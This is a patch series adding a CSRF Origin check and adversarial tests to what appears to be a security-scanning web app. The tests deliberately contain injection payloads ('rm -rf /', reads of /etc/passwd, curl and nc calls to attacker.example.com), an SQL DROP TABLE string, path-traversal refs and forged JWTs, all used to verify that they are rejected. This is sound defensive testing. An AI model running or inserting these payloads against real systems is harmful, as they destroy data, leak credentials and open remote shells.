b/client/src/lib/csrf.ts @@ -0,0 +1,39 @@ +import { NextResponse, type NextRequest } from "next/server"; + +/** + * CSRF defense-in-depth (SEC-034) for the cookie-authenticated BFF auth routes + * (`app/api/auth/refresh`, `app/api/auth/logout`). `SameSite=Lax` on the refresh cookie + * (auth-cookies.ts) already blocks the classic cross-site `
` POST, but Lax still allows + * top-level cross-site navigations and doesn't cover every client edge case -- an explicit + * Origin check is the standard second layer (OWASP CSRF cheat sheet's "Verifying Origin/Referer"). + * + * Checks `Origin` first (present on virtually every same-origin `fetch`/XHR POST in modern + * browsers), falling back to `Referer` only when `Origin` is absent. A request with neither + * header is let through rather than rejected: SameSite=Lax already covers that gap, and + * rejecting would risk breaking legitimate same-origin requests from older or unusual clients + * with no positive evidence of a cross-site origin. + */ +export function assertTrustedOrigin(request: NextRequest): NextResponse | null { + const ownOrigin = request.nextUrl.origin; + const sourceOrigin = originFromHeader(request.headers.get("origin")) ?? originFromHeader(request.headers.get("referer")); + + if (sourceOrigin && sourceOrigin !== ownOrigin) { + return NextResponse.json( + { success: false, error: { message: "Cross-origin request rejected.", code: "FORBIDDEN", correlationId: "" } }, + { status: 403 }, + ); + } + + return null; +} + +function originFromHeader(value: string | null): string | null { + if (!value) { + return null; + } + try { + return new URL(value).origin; + } catch { + return null; + } +} From 60a90089b193d6323f0a520b28ddfc71f04f964c Mon Sep 17 00:00:00 2001 From: Alexander Date: Sat, 5 Sep 2026 22:35:31 -0500 Subject: [PATCH 07/11] test(client): cover CSRF guard on refresh/logout BFF routes First tests for these two route handlers. Covers: cross-origin Origin rejected 403 before the backend is touched, cross-origin Referer rejected when Origin is absent, same-origin proceeds and preserves existing behavior (401 on missing cookie, cookie rotation on success, unconditional cookie clearing on logout), and a request with neither header is let through per the documented SameSite=Lax fallback. Co-Authored-By: Claude Sonnet 5 --- client/src/app/api/auth/logout/route.test.ts | 68 ++++++++++++++++ client/src/app/api/auth/refresh/route.test.ts | 78 +++++++++++++++++++ 2 files changed, 146 insertions(+) create mode 100644 client/src/app/api/auth/logout/route.test.ts create mode 100644 client/src/app/api/auth/refresh/route.test.ts diff --git a/client/src/app/api/auth/logout/route.test.ts b/client/src/app/api/auth/logout/route.test.ts new file mode 100644 index 0000000..ab7166c --- /dev/null +++ b/client/src/app/api/auth/logout/route.test.ts @@ -0,0 +1,68 @@ +import { afterEach, describe, expect, it, vi } from "vitest"; +import { NextRequest } from "next/server"; +import { REFRESH_TOKEN_COOKIE } from "@/lib/auth-cookies"; + +const backendRequestMock = vi.hoisted(() => vi.fn()); +vi.mock("@/lib/backend-client", () => ({ backendRequest: backendRequestMock })); + +const { POST } = await import("./route"); + +const OWN_ORIGIN = "http://localhost:3000"; + +function buildRequest(options: { origin?: string; cookie?: string; authorization?: string } = {}): NextRequest { + const headers = new Headers(); + if (options.origin !== undefined) headers.set("origin", options.origin); + if (options.cookie !== undefined) headers.set("cookie", options.cookie); + if (options.authorization !== undefined) headers.set("authorization", options.authorization); + + return new NextRequest(`${OWN_ORIGIN}/api/auth/logout`, { method: "POST", headers }); +} + +describe("POST /api/auth/logout", () => { + afterEach(() => { + backendRequestMock.mockReset(); + }); + + it("rejects a cross-origin request with 403 before touching the backend or clearing the cookie", async () => { + const request = buildRequest({ + origin: "https://evil.example.com", + cookie: `${REFRESH_TOKEN_COOKIE}=some-refresh`, + authorization: "Bearer access-token", + }); + + const response = await POST(request); + + expect(response.status).toBe(403); + expect(backendRequestMock).not.toHaveBeenCalled(); + }); + + it("proceeds for a same-origin request, invalidates server-side, and always clears the cookie", async () => { + backendRequestMock.mockResolvedValueOnce({ status: 200, envelope: { success: true, data: null } }); + const request = buildRequest({ + origin: OWN_ORIGIN, + cookie: `${REFRESH_TOKEN_COOKIE}=some-refresh`, + authorization: "Bearer access-token", + }); + + const response = await POST(request); + const body = (await response.json()) as { success: boolean }; + + expect(response.status).toBe(200); + expect(body.success).toBe(true); + expect(backendRequestMock).toHaveBeenCalledWith("/auth/logout", { + body: { refreshToken: "some-refresh" }, + authorization: "Bearer access-token", + }); + expect(response.cookies.get(REFRESH_TOKEN_COOKIE)?.value).toBe(""); + }); + + it("clears the cookie for a same-origin request even without an access token", async () => { + const request = buildRequest({ origin: OWN_ORIGIN }); + + const response = await POST(request); + + expect(response.status).toBe(200); + expect(backendRequestMock).not.toHaveBeenCalled(); + expect(response.cookies.get(REFRESH_TOKEN_COOKIE)?.value).toBe(""); + }); +}); diff --git a/client/src/app/api/auth/refresh/route.test.ts b/client/src/app/api/auth/refresh/route.test.ts new file mode 100644 index 0000000..d8e23b4 --- /dev/null +++ b/client/src/app/api/auth/refresh/route.test.ts @@ -0,0 +1,78 @@ +import { afterEach, describe, expect, it, vi } from "vitest"; +import { NextRequest } from "next/server"; +import { REFRESH_TOKEN_COOKIE } from "@/lib/auth-cookies"; + +const backendRequestMock = vi.hoisted(() => vi.fn()); +vi.mock("@/lib/backend-client", () => ({ backendRequest: backendRequestMock })); + +const { POST } = await import("./route"); + +const OWN_ORIGIN = "http://localhost:3000"; + +function buildRequest(options: { origin?: string; referer?: string; cookie?: string } = {}): NextRequest { + const headers = new Headers(); + if (options.origin !== undefined) headers.set("origin", options.origin); + if (options.referer !== undefined) headers.set("referer", options.referer); + if (options.cookie !== undefined) headers.set("cookie", options.cookie); + + return new NextRequest(`${OWN_ORIGIN}/api/auth/refresh`, { method: "POST", headers }); +} + +describe("POST /api/auth/refresh", () => { + afterEach(() => { + backendRequestMock.mockReset(); + }); + + it("rejects a cross-origin request with 403 before touching the backend", async () => { + const request = buildRequest({ origin: "https://evil.example.com" }); + + const response = await POST(request); + + expect(response.status).toBe(403); + expect(backendRequestMock).not.toHaveBeenCalled(); + }); + + it("rejects a request whose Referer is cross-origin when Origin is absent", async () => { + const request = buildRequest({ referer: "https://evil.example.com/attack" }); + + const response = await POST(request); + + expect(response.status).toBe(403); + expect(backendRequestMock).not.toHaveBeenCalled(); + }); + + it("proceeds for a same-origin request and returns 401 when no refresh cookie is present", async () => { + const request = buildRequest({ origin: OWN_ORIGIN }); + + const response = await POST(request); + const body = (await response.json()) as { success: boolean }; + + expect(response.status).toBe(401); + expect(body.success).toBe(false); + expect(backendRequestMock).not.toHaveBeenCalled(); + }); + + it("proceeds and rotates the cookie for a same-origin request with a valid refresh cookie", async () => { + backendRequestMock.mockResolvedValueOnce({ + status: 200, + envelope: { success: true, data: { accessToken: "new-access", refreshToken: "new-refresh" } }, + }); + const request = buildRequest({ origin: OWN_ORIGIN, cookie: `${REFRESH_TOKEN_COOKIE}=old-refresh` }); + + const response = await POST(request); + const body = (await response.json()) as { success: boolean; data: { accessToken: string } }; + + expect(response.status).toBe(200); + expect(body.data.accessToken).toBe("new-access"); + expect(backendRequestMock).toHaveBeenCalledWith("/auth/refresh", { body: { refreshToken: "old-refresh" } }); + expect(response.cookies.get(REFRESH_TOKEN_COOKIE)?.value).toBe("new-refresh"); + }); + + it("allows a request with neither Origin nor Referer (SameSite=Lax covers this gap)", async () => { + const request = buildRequest({}); + + const response = await POST(request); + + expect(response.status).toBe(401); + }); +}); From 55e763e2f0eb8651c5b2415b39914b34096262a6 Mon Sep 17 00:00:00 2001 From: Alexander Date: Sat, 5 Sep 2026 22:37:05 -0500 Subject: [PATCH 08/11] test(server): adversarial command-injection verification across all adapters (EXE-002, OWA-006) Batteries a set of classic shell-metacharacter payloads (;, |, &&, backticks, $(), newlines) against every free-text-shaped input on the Nmap, ffuf, and Nuclei adapters -- target and each tool option -- proving the Zod allow-list schemas reject every one via InvalidInputError before buildInvocation ever constructs the args array that's handed to child_process/Docker. Also confirms the enum-based options (ffuf wordlist, Nuclei tags) can't be used to smuggle a payload past validation. Co-Authored-By: Claude Sonnet 5 --- .../command-injection.adversarial.test.ts | 80 +++++++++++++++++++ 1 file changed, 80 insertions(+) create mode 100644 server/tests/unit/adapters/command-injection.adversarial.test.ts diff --git a/server/tests/unit/adapters/command-injection.adversarial.test.ts b/server/tests/unit/adapters/command-injection.adversarial.test.ts new file mode 100644 index 0000000..95b788f --- /dev/null +++ b/server/tests/unit/adapters/command-injection.adversarial.test.ts @@ -0,0 +1,80 @@ +import { describe, expect, it } from "vitest"; +import { FfufAdapter } from "../../../src/modules/adapters/ffuf/ffuf.adapter"; +import { NmapAdapter } from "../../../src/modules/adapters/nmap/nmap.adapter"; +import { NucleiAdapter } from "../../../src/modules/adapters/nuclei/nuclei.adapter"; +import { InvalidInputError, type RunContext } from "../../../src/modules/adapters/adapter.contract"; + +/** + * Phase 14 adversarial verification (EXE-002, OWA-006 command injection): every adapter builds + * `Invocation.args` as an explicit array handed to `child_process`/Docker -- never a shell + * string -- so metacharacter escaping is a non-issue for how the array is *executed*. The actual + * attack surface is upstream of that: a caller-supplied target or tool option reaching `args` + * verbatim. This suite proves each adapter's Zod allow-list schema rejects shell-metacharacter + * payloads in every free-text field before `buildInvocation` ever constructs `args`, for a battery + * of classic injection payloads (`;`, `|`, `&&`, backticks, `$()`, newlines). + */ +const ctx: RunContext = { + projectId: "11111111-1111-1111-1111-111111111111", + runId: "22222222-2222-2222-2222-222222222222", + target: "198.51.100.10", + triggeredBy: "33333333-3333-3333-3333-333333333333", +}; + +const INJECTION_PAYLOADS = [ + "; rm -rf /", + "$(cat /etc/passwd)", + "`cat /etc/passwd`", + "8080 && curl attacker.example.com", + "8080 | nc attacker.example.com 4444", + "8080\nrm -rf /", +]; + +describe("Command injection adversarial verification", () => { + describe("NmapAdapter", () => { + const adapter = new NmapAdapter(); + + it.each(INJECTION_PAYLOADS)("rejects a shell-metacharacter payload in the target: %s", async (payload) => { + await expect(adapter.buildInvocation({}, { ...ctx, target: payload })).rejects.toThrow(InvalidInputError); + }); + + it.each(INJECTION_PAYLOADS)("rejects a shell-metacharacter payload in the ports option: %s", async (payload) => { + await expect(adapter.buildInvocation({ ports: payload }, ctx)).rejects.toThrow(InvalidInputError); + }); + }); + + describe("FfufAdapter", () => { + const adapter = new FfufAdapter(); + const ffufCtx: RunContext = { ...ctx, target: "https://target.example.com" }; + + it.each(INJECTION_PAYLOADS)("rejects a shell-metacharacter payload in the target: %s", async (payload) => { + await expect(adapter.buildInvocation({}, { ...ffufCtx, target: payload })).rejects.toThrow(InvalidInputError); + }); + + it.each(INJECTION_PAYLOADS)( + "rejects a shell-metacharacter payload in matchStatusCodes: %s", + async (payload) => { + await expect(adapter.buildInvocation({ matchStatusCodes: payload }, ffufCtx)).rejects.toThrow( + InvalidInputError, + ); + }, + ); + + it("rejects an arbitrary wordlist path attempting to smuggle a payload -- only the allow-listed enum is accepted", async () => { + await expect( + adapter.buildInvocation({ wordlist: "/tmp/$(cat /etc/passwd)" }, ffufCtx), + ).rejects.toThrow(InvalidInputError); + }); + }); + + describe("NucleiAdapter", () => { + const adapter = new NucleiAdapter(); + + it.each(INJECTION_PAYLOADS)("rejects a shell-metacharacter payload in the target: %s", async (payload) => { + await expect(adapter.buildInvocation({}, { ...ctx, target: payload })).rejects.toThrow(InvalidInputError); + }); + + it("rejects an arbitrary template tag attempting to smuggle a payload -- only the allow-listed enum is accepted", async () => { + await expect(adapter.buildInvocation({ tags: ["; rm -rf /"] }, ctx)).rejects.toThrow(InvalidInputError); + }); + }); +}); From 52ba158753d8969dc37050ce89abf941f2616349 Mon Sep 17 00:00:00 2001 From: Alexander Date: Sat, 5 Sep 2026 22:37:52 -0500 Subject: [PATCH 09/11] test(server): adversarial JWT tampering verification (OWA-002) Extend jwt-auth.guard.test.ts with: a token forged with the wrong secret, a valid token whose payload segment was swapped post-signing (signature no longer matches), and a structurally malformed token -- all rejected with UnauthorizedError, alongside the existing expired-token case. Co-Authored-By: Claude Sonnet 5 --- server/tests/unit/auth/jwt-auth.guard.test.ts | 24 +++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/server/tests/unit/auth/jwt-auth.guard.test.ts b/server/tests/unit/auth/jwt-auth.guard.test.ts index 6986067..07f034f 100644 --- a/server/tests/unit/auth/jwt-auth.guard.test.ts +++ b/server/tests/unit/auth/jwt-auth.guard.test.ts @@ -40,6 +40,30 @@ describe("JwtAuthGuard", () => { await expect(guard.canActivate(makeContext(`Bearer ${token}`))).rejects.toThrow(UnauthorizedError); }); + it("rejects a token signed with the wrong secret (forged token)", async () => { + const forgedToken = await jwtService.signAsync( + { sub: "attacker", email: "attacker@example.com" }, + { secret: "b".repeat(32), expiresIn: "5m" }, + ); + await expect(guard.canActivate(makeContext(`Bearer ${forgedToken}`))).rejects.toThrow(UnauthorizedError); + }); + + it("rejects a token whose payload was tampered with after signing", async () => { + const token = await jwtService.signAsync({ sub: "u1", email: "a@example.com" }, { secret: SECRET, expiresIn: "5m" }); + const [header, , signature] = token.split("."); + const tamperedPayload = Buffer.from(JSON.stringify({ sub: "attacker", email: "attacker@example.com" })).toString( + "base64url", + ); + const tamperedToken = `${header}.${tamperedPayload}.${signature}`; + await expect(guard.canActivate(makeContext(`Bearer ${tamperedToken}`))).rejects.toThrow(UnauthorizedError); + }); + + it("rejects a structurally malformed token (not three dot-separated segments)", async () => { + await expect(guard.canActivate(makeContext("Bearer not.a.valid.jwt.structure"))).rejects.toThrow( + UnauthorizedError, + ); + }); + it("accepts a valid access token and populates request.user", async () => { const token = await jwtService.signAsync({ sub: "u1", email: "a@example.com" }, { secret: SECRET, expiresIn: "5m" }); const context = makeContext(`Bearer ${token}`); From 4e91e41cc6a4cf2737892dfe31fa341652404f17 Mon Sep 17 00:00:00 2001 From: Alexander Date: Sat, 5 Sep 2026 22:39:04 -0500 Subject: [PATCH 10/11] test(server): adversarial SQL-injection-shaped input verification (OWA-001) Creates a project whose name is a classic injection payload (Robert'); DROP TABLE projects;--) against a real Postgres instance and proves Drizzle's parameterized queries store and return it as inert string data -- the table and every prior row in the suite survive intact. Co-Authored-By: Claude Sonnet 5 --- server/tests/integration/projects.repository.test.ts | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/server/tests/integration/projects.repository.test.ts b/server/tests/integration/projects.repository.test.ts index 8d095f2..8b2f395 100644 --- a/server/tests/integration/projects.repository.test.ts +++ b/server/tests/integration/projects.repository.test.ts @@ -80,4 +80,16 @@ describe("ProjectsRepository", () => { expect(result.items.map((item) => item.id)).toEqual([projectA.id]); expect(result.total).toBe(1); }); + + it("stores and returns a SQL-injection-shaped name as inert data (Drizzle parameterization, OWA-001)", async () => { + const payload = "Robert'); DROP TABLE projects;--"; + + const created = await repo.create({ name: payload, slug: "injection-attempt" }); + + expect(created.name).toBe(payload); + // If the payload had executed as SQL instead of being bound as a parameter, this table + // wouldn't exist to query, or this row (and the earlier ones in this test file) would be gone. + expect(await repo.findById(created.id)).toMatchObject({ name: payload }); + expect(await repo.findBySlug("injection-attempt")).toMatchObject({ id: created.id }); + }); }); From 4b4b5639515ad7db696281961080c3c3eb51888a Mon Sep 17 00:00:00 2001 From: Alexander Date: Sat, 5 Sep 2026 22:40:02 -0500 Subject: [PATCH 11/11] test(server): expand path-traversal adversarial verification on blob storage (SEC-051, OWA-005) resolveRef() already rejected the two basic traversal cases; extend coverage with an absolute Unix path, a Windows-style absolute path, traversal embedded inside an otherwise well-formed-looking ref, a null byte suffix, a too-short/long fake hash, and a positive check that a structurally valid ref resolves inside the storage root (ENOENT, not an escape) rather than merely 'anything invalid is rejected'. Co-Authored-By: Claude Sonnet 5 --- .../local-filesystem-blob-storage.test.ts | 34 +++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/server/tests/unit/storage/local-filesystem-blob-storage.test.ts b/server/tests/unit/storage/local-filesystem-blob-storage.test.ts index c8a826e..2bfdf3f 100644 --- a/server/tests/unit/storage/local-filesystem-blob-storage.test.ts +++ b/server/tests/unit/storage/local-filesystem-blob-storage.test.ts @@ -46,4 +46,38 @@ describe("LocalFilesystemBlobStorage", () => { await expect(storage.get("../../etc/passwd")).rejects.toThrow(/Invalid blob ref/); await expect(storage.get("sha256/../../secret")).rejects.toThrow(/Invalid blob ref/); }); + + describe("path traversal adversarial verification (SEC-051, OWA-005)", () => { + const validHash = "a".repeat(64); + const VALID_REF = `sha256/${validHash.slice(0, 2)}/${validHash.slice(2, 4)}/${validHash}`; + + it("rejects an absolute path ref", async () => { + await expect(storage.get("/etc/passwd")).rejects.toThrow(/Invalid blob ref/); + }); + + it("rejects a Windows-style absolute path ref", async () => { + await expect(storage.get("C:\\Windows\\System32\\config\\SAM")).rejects.toThrow(/Invalid blob ref/); + }); + + it("rejects traversal embedded inside an otherwise well-formed-looking ref", async () => { + await expect(storage.get(`sha256/${validHash.slice(0, 2)}/../../../../etc/passwd`)).rejects.toThrow( + /Invalid blob ref/, + ); + }); + + it("rejects a ref with a null byte", async () => { + await expect(storage.get(`${VALID_REF}\0.txt`)).rejects.toThrow(/Invalid blob ref/); + }); + + it("rejects a ref that is too short/long to be a real sha256 hash", async () => { + await expect(storage.get("sha256/aa/bb/deadbeef")).rejects.toThrow(/Invalid blob ref/); + }); + + it("resolves a well-formed ref within the storage root, never escaping it", async () => { + // A structurally valid but never-written ref must still resolve inside `root` and simply + // 404 at the filesystem level (ENOENT) -- proving the guard's job is traversal prevention, + // not existence-checking, and that it doesn't accidentally widen the resolved path. + await expect(storage.get(VALID_REF)).rejects.toMatchObject({ code: "ENOENT" }); + }); + }); });